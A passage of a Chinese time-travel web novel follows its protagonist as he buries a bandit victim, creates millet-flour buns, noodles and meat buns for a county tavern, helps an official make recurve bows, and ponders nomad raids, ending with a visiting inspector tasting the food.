虽说她给土匪带路也没安得什么好心,但现在人都**什么恩怨自然随之销账。
将她一个寡妇和十一个汉子埋在一起,这种福利李逸可是不想给她,**去享福,哪有这种好事?
“拖到埋村里人的那个山坡,随便埋一下吧。”李逸不情愿地说。
让秦心月先回家里照看着,防止那伙土匪还有余孽摸过来,李逸与何铁牛一人抓着大张寡妇的一脚将她拖到山坡处给埋了。
天气太冷,冻土难挖,两人挖了小小一个土坑仓促的就将人给埋了。
李逸拉了拉头顶的皮帽子,一脸纠结地小声嘀咕。
“这叫什么事儿啊,你**骂了我们,到头来还得老子来给你处理后事,这不是犯贱吗....”
何铁牛呵呵一笑:“这是李三兄弟你心善,再说大张寡妇虽是嘴刻薄了些,但也不至死吧......”
李逸扣了扣下巴,妙明奇妙地说了句:“万一有人说我圣母怎么办?”
何铁牛诧异地看来:“你说的啥?啥母?”
李逸翻了翻白眼:“丢他老母,走了,回去了。”
看着李逸小跑着离开,何铁牛一脸疑惑地挠头小声嘀咕:“丢她老母作甚?”
次日.....
大张寡妇被土匪杀了,李逸又用弓箭杀了三个土匪的事就在村子里传开了,那几个跟着大张寡妇去李逸家闹过
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事的寡妇,偷偷猜测,可能就是李逸干的。
不过不管怎么说,李逸敢**这把她们都吓到了,想着万一哪天将人惹急眼了也给她们来上一箭,那小命可就没了。
回过神后,有些寡妇又骂起了已经在天有灵的大张寡妇,觉得要不是大张寡妇挑唆,她们也不会跟着去李逸那**,兴许李逸就会带着她们一起赚钱了。
千错万错,都是大张寡妇的错!这样的人**也是活该!就该死!
从大清早开始李逸就忙活着敲敲打打,他要制作一辆适合在雪地中使用的木板车,将这几日做的馒头,包子和豆腐全抓紧送到县城去。
其它人李逸没有让他们闲着,全都给粟米脱壳,这些能就近送往乡里比奔走县城方便得多。
李逸眼下最犯愁的就是道路和天气的问题,这是真的不方便,但也又无可奈何,大环境就是这样。
把这些人都带到县城吧,如何安置是很大的问题,很多人都需要拖家带口。
而在县城里直接招人,李逸又不放心,很多东西不清楚其中门道会觉得很难,一旦知晓变回惊觉是毫无难度可言。
下一步,李逸打算制作两种大大改善现在生活条件的好东西,压榨豆油和肥皂。
肥皂很简单,手搓肥皂的流程一点都不复杂,
有些难度的是压榨豆油,没有现代的机器,就需要复杂的工序。
现阶段普通百姓的生活用不上油,晚上照明都是直接烧木条,大荒村离着山林近有地利优势,村民们会在外围的松树林里搜集松脂用于晚上照明。
大户人家和富户吃的油,全是用动物脂肪提炼出来的纯动物油,但所能提取的有限。
如果李逸在这个时候能够制作出大豆油,会极大程度提升用油的方便,他所想象中的一些油炸食品就能尽早实现,另外豆油也可以用来制作肥皂,去污能力只比动物油制作的肥皂差上一些。
肥皂关乎着卫生问题,制作出来,洗手,沐浴,洗头都可以用。
若是能制作出来卖给那些大户和富户们又能获得一笔可观的收入,别说是在小小的安平县城内,就是放在郡城,都城也能起到一石激起千层浪的效果。
李逸擦了把汗,抬头向着院外看了眼,今日阳光明媚,看天气是不错的,若是能维持几天道路上的积雪多上会化一些。
足足用了两天时间,才制作出一辆木板车,因为木材有水分,李逸不敢将其制作得太大,怕增加大骡子的负担,他之前委托王金石帮他再收一头大骡子,就算是牲口也不能往死里使唤,春天开荒大牲口都能用得上,平日里去个其它地方,他还可以跟何铁牛一人赶一辆车,也方便些。
在秦心月的注视下,李逸赶着骡车离开大荒村,这次又是他一个人出去,别人虽是会不放心,但李逸也乐得一个人出去,那样物品栏就能发挥作用。
李逸微笑挥手:“心月,回去吧,我可能要在县城住上两日,家里就靠你照看着了!”
县城外的官道上......
县衙临时招来的穷苦农户们,正顶着寒风清扫着道路上的积雪,县衙不会给工钱但却是会给一些粟米,所以哪怕寒冷,还是会有很多穷苦农户来抢着干这活。
陈家宣布盐价上调的第二天,又进行了一次盐价的调整,改到只比之前的盐价高三成,如此才算是平息了民怨。
陈林为此也大感头疼,他这是被气昏了头,表叔张贤那日气得满脸通红,让一个读书人说了很多难听的话,就可见他当时有多么愤怒。
如此近来一段时间,他是别想利用这淡薄的亲戚关系来做些什么,需要安稳一段时日等表叔消怒再说。
不过经此一事,陈林也转变了思路,继续和那王胖子纠缠下去,他便是再和钱不过去。
等官道的雪通开,他就去临县开一家食肆,抢得先机赚到钱,这段时日所损失的他都能赚回来,没必要窝在穷困的安平县城内,斗来斗去....
第七十三章:喝不醉人的烈酒
“哎呦!李兄弟!我还以为你要等些时日才能过来呢.....”
王金石听到伙计说李逸在后院马厩,是帽子都没有戴就大步迎了出来,笑容将他的五官都堆在一起。
“王大哥,怕是我能等,其他人也等不了吧?”李逸一笑。
王金石竖起大拇指:“莫非....这也被兄弟你提前预料到了?”
李逸摇头坦然回答:“那倒不是,刚才去了两家粮店打算买些小麦都,店主都说已经没了多日要等路通了后才能有货,便就想到会是如此了。”
王金石点头:“唉......没办法啊,咱们安平县下的农户又不种这麦子,临县倒是有一些,咱们安平县就是以这粟米为主,余下便是豆子,不过等来年....应该会有很多农户愿意种这小麦,价格可是比粟米高得多。”
李逸的眼神突地变化,见他如此表情王金石连忙追问:
“李兄弟.....你是又想到了什么了吗?”
李逸一拍额头无奈苦笑:“唉....竟是把这给忘记了,真是糊涂啊,李大哥我来和你细说”
之前只顾着给小麦磨面粉,给豆子磨成豆浆,却是忽略了能给粟米磨成小米面粉啊。
将小米面和面粉以1比2的比例混合,所蒸出来的馒头口感依旧松软,风味更是独特,最重要的是营养价值还更丰富,还能节省些面粉。
而将小米面和面粉以1比1的比例混合,可以用来制作面条增强些面条的口感。
另外将小米面和面粉以2比1的比例混合,还可以制作出一种非常有特色的地方名小吃,那便是小米煎饼!
王金石听得眼睛都直了!
就这么三两句话,李逸就又有了这多新奇的想法,简直神了呀!
“哎呀呀......李兄弟!你也太厉害了,这就又想出新奇吃食的了?”
“我王金石没佩服过别人,觉得别人能做的我都能做,你是头一个!”
“如果真如你所说,那能少用很多小麦呀,我们也不用因为这小麦而束手束脚的。”
“我这就让伙计去研磨点粟米面,等晚上将那些掌柜都请过来,定是一件让他们觉得开心的事情。”
李逸利用这段时间去了趟县衙,去兑现之前答应赵川的事情。
找到这边时,赵川正忙着操练手下的这些兵卒,一下下挥动着长矛,冻得脸颊和手通红。
“唉!李兄弟,我可是把你给盼来了,走!我们去屋里说!”
赵川笑着打招呼,转身对兵卒们挥了挥手:“行了行了,今日就练到这,你们都去休息吧”
“最近太忙了,又恰逢天气恶劣,没能来兑现承诺还请县尉大人见谅。”李逸笑着解释。
赵川一摆手:“唉?小事,小事,你这现在不是过来了嘛”
二人进屋,赵川让李逸坐下后,来到火盆边往里面丢了几块松明,火焰烧起屋里顿时有了些热乎气....
李逸稍作思量后说道:“县尉大人,前几日我们大荒村去了五个土匪,领头的是个独眼胖子。”
赵川一听诧异地侧过头来,瞪着眼说道:“一只眼!”
“这家伙可是在县衙挂了号的,村子里的人没事吧。”
李逸挠了挠鼻子回道:”他们杀了一个村妇,五个人被我和媳妇当猎物给全给射**。”
赵川一愣,随即哈哈大笑。
“哈哈哈.....好!好啊!本县尉的活倒是让兄弟你给干了,也是那一只眼倒霉啊,兄弟你连劫税粮的恶匪都杀得了,区区几个小土匪算得了什么。”
“我安平县,如今又少了一匪患,好得很啊!”
“他们的尸体我都埋在荒地了,需要挖出来送到县衙吗?”李逸又问。
赵川连连摇头:“就在那埋着吧,为几个死掉的土匪还折腾什么,不值当”
“我就说,怎么今天看到有喜鹊喳喳叫,感情是李兄弟你来给我报喜讯了,如此开心,我们去王记酒肆喝上一碗烈酒。”
“我跟你说啊,兄弟,王记酒肆最近出了不少新吃食,味道确实好吃啊,一会儿带你去尝尝。”
李逸嘴角一抽,烈酒.....好一个喝不醉人的烈酒啊。
赵川忽地想到什么,当日可是王金石把李逸引荐给他的,所以二人的关系应是不错的,八成是早就吃过了。
“县尉大人不必客气,我这次来不会在县城逗留太久,咱们还是先谈制作弓箭的事情。”
赵川点头:“也好,先忙完正事再说!”
一个时辰后,李逸从赵川那离开,需要制作什么东西,他已经和赵川说得很详细了,其中最关键的是转轮的制作,只是不知道赵川找的铁匠能够做到什么程度。
按理来说军需制造的箭矢,应该算是用上了一个国家的核心技术,但李逸仔细对比过赵川给他的铁头羽箭和系统奖励的铁头羽箭,二者的差距可是很明显的。
系统爸爸给的奖励,更偏向于现代所有技术都成熟的产物,箭头坚硬锋利,能多次使用。
可赵川给的那些,铁质看起来就很一般,还不耐用。
李逸觉得,眼下这只多算是从青铜器到铁器时代的初期过渡阶段,如果对应他那个世界的话,应该是秦末汉初。
且藩王争霸二十几年,活着都辛苦哪里有条件和精力去搞生产制造,所以就造就了这么一个几乎什么都要从零开始的时代,比原始人略强一些。
回到小院,发现那伙计已经研磨了不少小米面,李逸就着手开始做准备。
馒头和面条今晚他要一起做出来。
为了对比差异,李逸用了两种比例和面发酵制作馒头,小米面和白面比例分别为1比1和1比2
制作面条也同样用两种比例,小米面和白面的比例为1比1和2比1,是为了更直观的对比以小米面为主,会有什么样的口感。
傍晚,听说李逸来了县城,还带了很多馒头和豆腐,各店铺的老板连忙来到王记酒肆。
八人互相说着最近的情况,一起将那屯小麦涨价卖的徐店主骂了个狗血淋头,都约好以后再也不从他家买米粮。
等了小半个时辰,李逸从厨房走出身后跟着端着木托盘的伙计。
一盘盘刚刚蒸好的馒头摆上桌,和之前的不同,这次的馒头是金黄色,看着就很诱人,所散发的那种味道也不是单一的麦香味。
看着几位掌柜露出疑惑,李逸便是耐心的讲解了一番,然后大家拿起馒头开始品尝。
面粉和小米面以2比1混合的粟米馒头,口感松软几乎没有差别,只有很细微的颗粒感,味道竟是比纯粹的白面馒头还要好吃。
相比之下1比1比例制作的馒头,松软的口感欠缺了些还有明显的颗粒感,不过吃起来同样不错,对这些从小吃粟米长大的人来说,味道很是亲切。
紧接着李逸又进入厨房忙碌开始煮面条,在煮面的过程中,他就发现了问题。
小米面粉和小麦面粉的本质差距显现出来,那就是面的筋性,小米面松散毫无筋性,以2比1比例和面,制作的面条只是拿起来就会断裂,放到沸水中煮便是会彻底松散掉,煮成一锅疙瘩汤。
最后得出结论,用1比1的混合比例,已经是制作面条的极限,煮的时候还要多加小心些。
粟米面条得到了一众老板的肯定,如此一来他们对小麦需求的问题能解决不少,甚至有的老板还觉得粟米面条要更好吃,价格也能在一定程度上降下来些。
具体他们要如何定价售卖,就由王金石和他们一同商议,李逸不会掺和。
李逸这次带来的馒头和豆腐,被几家店铺全部瓜分,本是还打算去坑陈林一波,但既然眼下大家都没有小麦,馒头便是也不能再卖给那陈林。
就在大家都要离去时,李逸才将包子端了上来摆在桌上。
“唉?李兄弟,这馒头的样子有些奇怪啊!”
王金石一眼就看出了不同连忙开口询问,随即他忍不住用力嗅了嗅空气中的味道,不禁疑惑问道:
“咦?什么味道啊这是,怎么这么香啊?”
“对啊,闻着像是猪肉味,还有葱香”张老板附和。
李逸却故作神秘
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的一笑:“诸位老板,这可不是馒头而是包子,你们尝过之后便是知道有何不同了,小心烫啊”
连同王金石在内,九个人的视线全都看向桌上奇怪的馒头。
王金石伸出大手抓起一个包子,上去就咬了一大口,然后他就发出一声痛呼:
“嘶......好烫,好烫,这馒头里有东西啊!”
当即张老板就拿起一个包子将其掰开,看清了里面的馅料,忍不住惊呼:
“唉?这...这馒头里有肉啊?”
很快惊讶和质疑声全都消失,只有用力吹气和吸气的声音,吹气是因为烫,吸气同样也是.....
王金石最先将包子吃完,整个人就像是丢了魂一样:
“李兄弟!这奇怪的馒头也太好吃了吧!”
李逸笑着解释:“诸位老板,店主,这不是馒头,里面加了馅料包起来,所以叫包子”
“包子?”
众人异口同声,他们此时内心的震惊丝毫不比王金石少。
李逸从众人身后缓缓走过:
“我做的这包子是肉包子,馅料是用的野猪肉,蘑菇,还有大葱。”
“若是有好的青菜,经过调配后,也能制作成菜包子。”
众人连连点头,都看得出这包子也会大受欢迎。
“李兄弟,你这次带过来多少包子,我全要了!”王金石一把拉住李逸。
众人见他开口只能悻悻地闭上嘴。
李逸笑道:“不多,有四百多个”
王金石开心地拍手:“好啊,好啊,够我吃一阵了,我老娘肯定也爱吃!”
听王金如此说,众人心中无语,感情他这是打算自己留着吃啊。
回过神,王金石也觉得这么做有些不妥连忙赔笑道:
“诸位!不好意思啊!你们都知道我王金石就是嘴馋,这样,我原价卖给诸位一人两百斤小麦,你们掺着粟米面使用,足够撑到官道通行,到那时再去收购小麦。”
知道这些店主们都心急,李逸连忙说道:“诸位老板也不用心急,明天你们派人来,我教你们如何制作包子。”
“这包子最重要的就是馅料,馅料就和那面条的汤头一样,不固定,大家可以根据个人口味调制,一百种馅料,就是一百种不同口味的包子。”
李逸所说让众人顿觉眼前一亮,刚听到说这包子是野猪肉馅的他们还有些为难,如此他们也可以用其它的肉代替,只是不知道味道如何,心中满是期待......
另一边,经过几天的研究,陈林手下的厨子终于成功制作出面条。
“呵呵呵......如此来看,也没有什么难的嘛。”
陈林一扫几日的阴霾心情,虽说面条的口感上还差了些,但知道是如何制作的之后再一点点去摸索,总是可以做得和他们一样。
另外就算没有人告诉,陈林也清楚决定这面条好不好吃的关键,便是在汤上。
陈林将陈忠喊过来:“去!把肉铺里所有的猪肉和鸡肉都给我买回来!”
陈林知道眼前就是个他翻身的机会,白玉豆腐有没有无所谓,但这面条可以让他的食肆生意超过以往。
现在除了王记酒肆,其它店铺都没有了小麦,而没有小麦就做不了馒头和面条,他囤的上万斤小麦便是有了用武之地,另外他还可以将价格压得低一些!
次日正午.....
陈芳斋出现了面条,售卖的价格只需四十八钱,几乎是其它店铺的一半。
然而在傍晚,王记和其它店铺也相继宣布面条降价,同样是四十八钱,另外又推出一种名为包子的新奇吃食。
“王金石跟着我一同降价,还在预料之中,可其他店铺应该早就没有小麦了才是!”
陈林紧皱着眉头,思来想去,只能是王金石给了那些店铺一些小麦。
“哼!你自己都要自顾不暇了,还能顾得上别人!”
陈林冷笑,官路一通他就亲自去一趟临县,买店面开食肆的同时,继续大力收购临县的小麦,再来上一场暴雪,看王记他们还如何做这馒头和面条的买卖!
第七十四章:山的那边,是蛮子!
陈芳斋有面条售卖的消息,在昨日正午就传开了,王金石倒是没察觉到什么,但其他店铺明显感觉到自家的食客数量减了一半,八成都是去了那陈芳斋,原因无他,因为陈芳斋售卖的面条要更便宜。
王金石傍晚安排了一个伙计去陈芳斋吃面条,伙计回来说,虽是不如他们面条更爽滑可口,汤头的味道也差了一些,但吃着也是很好的。
“这.....陈林那个老狐狸是怎么学会做面条的,是不是有店铺私自泄露了配方啊?”
王金石皱眉沉吟了片刻,看向李逸询问。
李逸摇头:“若是有人泄露的制作方法,应做的一样才是,八成是他们自己琢磨出来的,只要有面粉又吃过几次着面条,瞎琢磨几天也能做出个大概,而汤头就用肉汤,这没有什么难度。”
听李逸这么说,王金石忧虑地说道:“那包子......”
李逸肯定地点头:“同样是,馒头里塞上肉,依葫芦画瓢也能做出个模样,多尝试几次将馅料的味道调得更好些,也不会相差太多的。”
王金石的面色变得有些难看,他还想着趁这次机会打压陈林那个老狐狸,结果他现在是挺过来了,又有了和他王记竞争的本钱。
李逸看穿了王金石的心思笑着说:
“王大哥你也不用担心,这些吃食本就容易仿制,包子你只需要确认自己独特的味道,面条的汤头同样也是,包子和面条别家都在做,那么就会有对比,之后食客自然会选择最好吃的那家。”
王金石听懂了李逸这话的意思,缓缓点头:“成....我懂了。”
“王大哥,你该是盯着点,一旦官道通道了,要尽早安排人去收小麦才是,陈林能把安平县城的都收了,就能把临县的也收光。”
李逸在临走之前最后提醒了一句,王金石也觉得有这可能,确实该早些做准备。
另一边,反曲**的制作还是比较顺利的,赵川在李逸的指导下打造出了第一把反曲**,不过那铁匠所打造的铁环只能勉强达到使用要求,不能做到李逸最理想的效果。
但赵川对此却很是满意,也说了会让铁匠用心去做,接下来他要大量制作让每个兵卒手里都有一把反曲**,有机会再在将这反曲**献给郡尉大人,想来应是大功一件。
将此行的目的都解决,李逸赶着他的双骡大骡车,去粮店收购了千斤黄豆,继续做豆腐的同时,开始着手研究如何压榨豆油。
这次卖豆腐,包子,馒头,又让李逸收获数万钱。
五千个馒头按照六钱一个便是三万钱,四百块巴掌大的豆腐一块三十钱,四百个肉包子一个二十钱,共计五万钱。
另外按照事先说好的,各个店铺的面条售卖他都会抽取对应的利润,每卖出一碗面条他都能直接获得**钱,加起来同样是一笔可观的收入。
十天就能赚几万钱,这种赚钱能力令人咋舌,甚至说是匪夷所思!
王金石帮着收购的大骡子一看就是头有劲的好骡子,虽说他不打算要钱,但李逸还是给他留下了一个金饼,按一万钱来算。
李逸的物品栏有一头野猪,家里还有两头,这些他都不打算卖,之前是缺钱不得不卖,现在钱有了,自是要全留着给家里人吃,让家里人都能有个好身体。
“驾......”
沉重的车轮压在土路上,李逸在城门口又看到了张小牛,打过招呼后驾着骡车驶出安平县城。
县城间往来的官路积雪已经清理了很远一段距离,眺望远处,还能够看到有不少人在卖力地忙碌着,两位士兵负责看守监督他们干活。
李逸心想,这要是有人能把回村的路也清理下,他也能方便一些。
在李三的记忆中安平县城那就是最大的,之上有什么他不清楚也不关心,但李逸在赵川那看到了一张羊皮地图,绘制得比较精细。
这张地图不是大齐王朝全国的地图,而是秦州地图。
秦州是大齐王朝最北边的州城,战地最为辽阔,州内共有十座郡城,一百四十七个县城。
安平县是平阳郡下十三个县城中,地处最东北的边陲偏远县城,大荒村旁的那条山脉,其实叫大鲜卑山脉,村子就位于山脉末尾的余脉处。
一直向东北延伸,过了大鲜卑山便是游牧民族鲜卑蛮夷的部落领土,那边有辽阔的草原,有成群结队的牛羊。
李逸看过这张地图之后,才算是更直观的清楚了他所在的位置,当真是偏远的在犄角旮旯里的小山村。
见李逸感兴趣赵川还多说了些,说大鲜卑山的另一边,地广人稀疆土很辽阔,藩王争霸之时,那边的游牧民族部落同样在不断地打仗。
各个游牧民族部落之间,为了生存会你争我夺,他们争夺最好的草场,抢水源,抢盐池,抢牲畜,抢女人,只有不断壮大自己的部落,才能应对恶劣的环境生存下来。
现在最强大的部落便是匈奴部落,其次是鲜卑部落和乌桓部落,若是今年大雪成灾,还需要担心着有鲜卑蛮子过来大齐境内抢掠,抢不到粮食他们就抢女人回去,只有女人多才能多生育孩子,部落才能壮大。
赵川还感慨,现如今大齐也是缺人,齐武帝不仅要求下面百姓多种地多生养,对官员们的要求同样如此,他赵川就有六个媳妇,忙活起来是腰酸背痛手脚酸软。
李逸表面淡然一笑,心中却是在想,这人物属性的体力属性还是低啊,别说现在是5点就是50点也不够看,越多越好,多多益善!
回村的路上......
两只大骡子在前面赶着车,李逸心不在焉想着这些事情,任凭让大罗带着新来的小老弟二罗,一起往村子的方向拉。
二罗一看就是喜欢单干的骡子,年轻气盛,乍一开始有搭档一起拉车,还表现得很不习惯,它和大罗劲头不向着一处,骡车一路歪歪斜斜。
不过身为老前辈的大罗很有耐心,带着二罗走了一段后,二罗也逐渐适应了。
“山的那边是蛮子,不妙啊这.....”
李逸愁眉不展,虽说他穿越的这个古代,不是前世那个他所熟知的古代,但基本情况是很相近的,游牧民族骁勇善战,作为光脚的他们就喜欢打中原这些穿鞋的。
打赢了有鞋穿,打不赢,大不了继续光着脚。
历史伟人成吉思汗,当年那是打下了沙俄一半的领土,后世更是有不少人开玩笑,说给大汗足够的人,他能打穿整个欧洲。
游牧民族善骑善射,虽说现在还都是一个个小部落天天都在内斗,但只要给他们充足的时间发展壮大,未来必然会入关南下,最后占领整个中原。
李逸对这个大齐王朝没有什么太强的归属感,他所担心的是一旦有蛮子过山,他们大荒村就是第一个目标!
穷困没粮食他们也不介意,反正现在大家过的都是差不多的穷困日子,人本身也是主要资源,女人带回去生孩子强大部落,男人带回去做奴隶。
赵川只是当时也只是随口一说,没想到李逸却是当个事儿在认真研究。
想了一路,最后得出的结论还是走一步看一步,不过可以提前做些防备。
内有土匪山匪作乱,外有鲜卑蛮子,清楚这种处境后,李逸和秦心月那是轻易不会一同离开大荒村,必须留下一个应对小概率出现的危险。
离开县城时天色尚早,赶在天黑之前就回到了大荒村,在院外就听到一阵阵咚咚咚的声音,这是在给粟米脱壳。
“吁.......”
在木棚下玩的豆子,忽然侧起耳朵,然后欣喜地喊道:
“三叔回来了!”
他迈着小短腿冲出院子,正好看到李逸从骡车上下来,何铁牛跟张绣娘也出来查看。
“呦!又多了一头大骡子!”何铁牛瞪着眼惊呼。
张绣娘的注意力都在李逸身上,听闻后这才发现拉车的是两头骡子。
李逸笑道:“我在县衙可是分了十亩地,来年开荒没有两头大牲口非得把人累死不可!”
“十亩地?太多了吧?”
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何铁牛微感惊讶,他觉得以李逸现在的能耐,是完全没有必要种的。
何铁牛家有五亩地,今年秋收一共收获的粟米还不到六百斤,这六百斤粟米都不够他们自己吃的,可这一个多月时间,跟着李逸赚钱他都囤了千斤粟米还有三千多铜板了。
刘氏那晚还和他说,指望着种地除非种几十亩不然真要饿死才是,不如跟着李逸赚钱。
李逸不知道何铁牛的心思,想都没有想就回答道:
“十亩地可是不多啊,明年开春我还想着再多开十几二十亩地荒,到时候去县衙看看。”
“要种那么多地吗?”
这次开口的是张绣娘,种地耗时耗体力,开荒种地只是其一,夏日里锄草也是个体力活,她自己打理三亩地就累得腰酸背痛。
见二人反应如此大,甚至院里的刘氏和那三个寡妇听闻后,也同样露出疑惑的表情,李逸才恍然想起,连年战乱民不聊生,土地荒废,耕种技术不仅没有得到发展反而还**了。
农户们种植粟米一亩地亩产百斤都算是收成好的,平均下来亩产也就只有六七十斤,也正因如此,百姓们才会食不果腹过着有上顿没下顿的日子。
他有这么多想法,有手艺,却是还想着种地,自然是让大家都感到疑惑不解。
反应过来后李逸无奈苦笑,随后神色一正大声说道:
“王者以民为天,而民以食为天,如果每个农户都像我们这样不种地,那这辈子大家都别想吃饱饭了。”
“所以,我们不仅要种地还要多种!种地时去琢磨如何将地种得更好,种的更多,如此每农户才能都吃饱饭。”
“国泰才能民安,民富才能国强,如果农户们继续吃不饱饭,用不了多久这天下还会乱,还是会打仗的”
“所以陛下才会让咱们农户多种地,多生养!”
众人跟着点头,多少都听懂了些李逸的意思。
那边端着木盆的于巧倩听后却是愣住了,美眸死死地盯着此时意气风发的李逸,嘴中喃喃:
“王者以民为天,而民以食为天”
“国泰民安,民富国强......”
【于巧倩好感度+10当前好感度(33)】
【秦心月好感度+5当前好感度(55)】
【陈玉竹好感度+5当前好感度(45)】
突然看到系统的提示,李逸诧异地看向于巧倩,发现她正直勾勾地盯着自己。
于巧倩的好感度,一直是李逸所头疼的,对比之下,她的好感度实在是太难刷了!眼下却是突然增加了10点!
回想自己所说的话,李逸顿悟。
于巧倩之前也有说过,他父亲以前是个文官不过官职不大,既是文官那便是读书人,而越是小文官越是穷酸,越是讲气节,于巧倩自小便耳濡目染。
明白了!感情倩儿你喜欢的是精神食粮!
李逸笑了笑收回视线,又看向秦心月和陈玉竹,显然他刚才说的话,是将自己的另外一面展示了出来,让她们更加欣赏。
张绣娘就是个大字都不认识一个的普通村妇,她虽是觉得这话有些道理,但她没想那么多。
再看那边的白雪儿......
不知道她在哪偷拿出来一个肉包子,正和豆子大丫开心地分包子吃呢。
李逸哭笑不得,还是雪儿的属性比较纯粹,一天到晚只想三件事,夫君和吃还有生娃。
吃了晚饭算了工钱,何铁牛他们相继离去,张绣娘又在炕上暖和了会儿天黑时才带着大丫和豆子回家。
虽是没有明说,但李逸平时的态度和张绣娘的态度,就连白雪儿都看出来了两个人有事儿,但这火炕多睡一个人都有些难,只能等来年。
来年李逸要重新盖大房子,院子也扩大一些,虽说现在县衙没有什么明确律法,但在县城已经有宅基地这一说,有批文才是县衙认可的。
那日看那县丞的态度,若李逸说能增加种田的数量,重新批一块更大的宅基地来盖房子,理应不是什么难事.....
第七十五章:巡查使到访
北风呼啸,如野兽嘶吼.....
官道上,一辆马车从临县的方向缓缓驶来,马蹄哒哒作响,车轮滚滚旋转。
马车由两匹高头大马拉着,车厢看装饰虽不算是华贵,但还是能一眼看出车主的身份不凡。
赶车的车夫年纪不大,腰间挎着一把军中的制式长刀,围脖遮挡着半张脸,露出的一双眼睛。明亮锐利。
“大人!再有半日就能到那安平县城了.....”
车夫拉下围脖,扭头笑着对身后一帘之隔的车厢内喊道。
车厢内端坐着一位中年男子,正闭目眼神,他身穿官服还披着件厚冬衣,双腿盖着厚棉被,双手插在兔皮制作的手笼之中,即便如此依旧感觉寒冷。
此人便是平阳郡的都吏,周之栋,又称巡查使,虽是官职不大但却是郡守大人的心腹。
月余前周之栋奉命出来巡查平阳郡下的十三个县城,主要是为了检查各县城农户分地的情况,另外还需要统计人口,统计新生儿的数量。
平阳郡地广人稀,地域辽阔是南边一些小郡城的一倍,如此情况为了响应齐武帝的诏令,农户们所分的农田理应更多。
周之栋奉命先一步下来巡查,就是为了提前做到心中有数,若是哪个县完成得差强人意。也好抓紧弥补一下。
平阳郡虽是苦寒之地的最穷郡,但也不能以这种原因而垫底,若是和其它郡相差的太多,郡守那边是没办法和州牧大人交差,到最后被责难的是郡守,对应县城的县令是要被贬官的。
“林平,天寒地冻,这一路辛苦你了,到了县城你可好好休息几日。”
周之栋的声音从车厢内传出,沉稳平静。
车夫林平笑了笑回道:
“大人您都不觉辛苦,属下又何来辛苦一说啊,只是想着到了县城能吃口热乎的。”
周之栋淡然一笑:“好.....本大人定要和你痛饮三大碗粟米酒....”
“大人,君子一言可是什么马都难追啊,你可莫要食言!”
“.....”
傍晚.....这辆马车终于驶到了安平县城的城门口。
守城兵卒查看后连忙下跪行礼,周之栋语气淡然没有任何要责怪的意思:
“起来吧,不用太过声张,本官要先暗访一日,你们可知该如何做?”
三名兵卒连忙应声,在马车进城后才敢站起身。
马车突然停下,那个赶车的年轻车夫快步跑了过来,抱了抱拳开口询问:
“几位兄弟,和你们打听下,你们这县城里可以有什么好的吃食?”
伍长连忙开口回答:“有的,你们得去那王记酒肆,他们店里有很多好吃的新奇吃食,两位大人这一路过来想来冷透了,去那吃碗那热乎乎的面条,保证全身上下都舒服。”
伍长伸手一指:“就在城西,顺着那条路走没多远便能看见了!”
“王记酒肆,面条?”
林平小声地重复了句,看了眼兵卒所指的方向,又抱了抱拳:
“知道了,多谢!”
快步返回车上,林平和周之栋说了两句,马车在前面岔路左转驶向城西。
今日风大天寒,走在县城的主路上都不见几个人影,然而在转到酒肆这边的街道时,所遇到的人却是多了不少,这些人步履匆匆,大多去了那边的一家店铺,而从店铺里出来的人一个个模样很是满足,还有些意犹未尽。
“嘿.....要说这面条和包子,还得是王记正宗啊”
“那是自然,王记可是头一家啊!”
“我那小儿子最是喜欢吃大肉包子,一次能吃一大个呢”
两个看穿着比较干净整洁的男子,笑谈着从马车边经过。
林平听得双眼放光,转头看向车里问道:“大人,你可听说过那个包子,还有面条?”
车里的周之栋笑道:“呵.....你小子馋虫又犯了,这两样吃食我也没有听过啊,我们去那铺子尝一尝便知道了,还有.....不要喊我大人。”
林平点头:“知道了大人!呃.....家主!”
马车在酒肆门口侧面停下,林平将布帘掀开,换好衣服的周之栋从车上下来。
这年头能用得上双匹大马车的人,都是有身份地位的,见着二人的穿着和气度皆是不凡,刚送客人出来的丁二快步迎了出来:“二位客人,里面请,正好有空桌啊。”
林平指向两匹马问道:“伙计,能给我的马喂些温水吗?”
丁二连连点头:“好说,您二位先进店里,我马上就去端水。”
林平抱拳:“多谢了!”
周之栋和林平被丁二引着,刚踏进酒肆门口,二人都闻到了特殊的香味,心中很是诧异。
另外这酒肆之内的桌子几乎是坐满了食客,就剩下靠门口的这一张桌子。
“客官您的面条来了!丁二,你让让.....”
一个伙计用木托盘端着面条走来,迎面的桌子上坐着两大两小四个客人,全都在翘首以盼地等着。
林平瞥了眼托盘内名为面条的吃食,可以确定是他从未见过的,也未听过,并不是那种不同地方不同叫法的吃食。
林平收回目光看向身边的丁二:
“伙计,给我们也来两碗这种面条啊,在来坛好酒,另外....你们这还有什么好吃的吃食?”
林平和周之栋看着就像是刚来的外地人,如此说话丁二就愈发肯定了,真正安平县城的人,稍有些身份的怎么可能不知道王记的这些新吃食。
丁二稍一思量回答:“还有翡翠白玉豆腐,黄金白玉豆腐,大肉包子,二位客官若是想吃包子,可是要尽快,还剩几个马上就要卖光了”
林平一听连连点头:“成!那再来两个包子,黄金白玉豆腐也尝一尝”
“好嘞,二位客官稍等,一会就端上来。”
丁二先快步去后厨交代完,紧接着去酒柜取了酒碗和一坛酒过来。
“二位客官,天寒酒水凉,我去为二位客官倒两碗热茶,稍等......”
林平很是满意眼前的伙计:“成!辛苦你了啊!”
不多时丁二端了两小碗热茶过来,放到桌子上后就去后面马厩找木盆给马喂水了。
这期间林平一直在偷瞄面那桌客人吃那名叫面条的吃,一边吃还一边和同桌之人称赞,看得林平不停地吞咽口水。
等了一刻钟,伙计用木托盘端着两大碗热气腾腾的面条上来,之后又端来一小盘黄金白玉豆腐和两个大肉包子,一小碟豆芽。
“二位客官,面条,包子,黄金白玉豆腐,这碟豆芽是本店赠送的,二位客官请慢用,有需要的随时喊小的。”
伙计说完离开,林鹏和周之栋看着面前的这些吃食,双眼放光!
全都是些他们没听过没吃过的新奇吃食,就连那附送的豆芽都是。
林平递给周之栋一双筷子,迫不及待地夹起面条,面条上的热气扑面而来,其中还有着浓郁的肉汤味儿。
等待时他已经看了对面那桌客人好几次,知道了这面条怎么吃,夹起来呼呼地吹了两口气,他就连忙往嘴里送,咀嚼几下后,林平的双眼中满是震惊!这种口感,这种味道,前所未有!
“唔......大....家主,这面条真好吃啊,您小心烫啊!”
林平就说了这么一句话,之后就开始了沉浸式的吃面条。
周之栋先加了些豆芽,放在嘴里咀嚼,诧异之后点头赞叹:
“嗯.....这豆芽清爽可口,很是不错!”
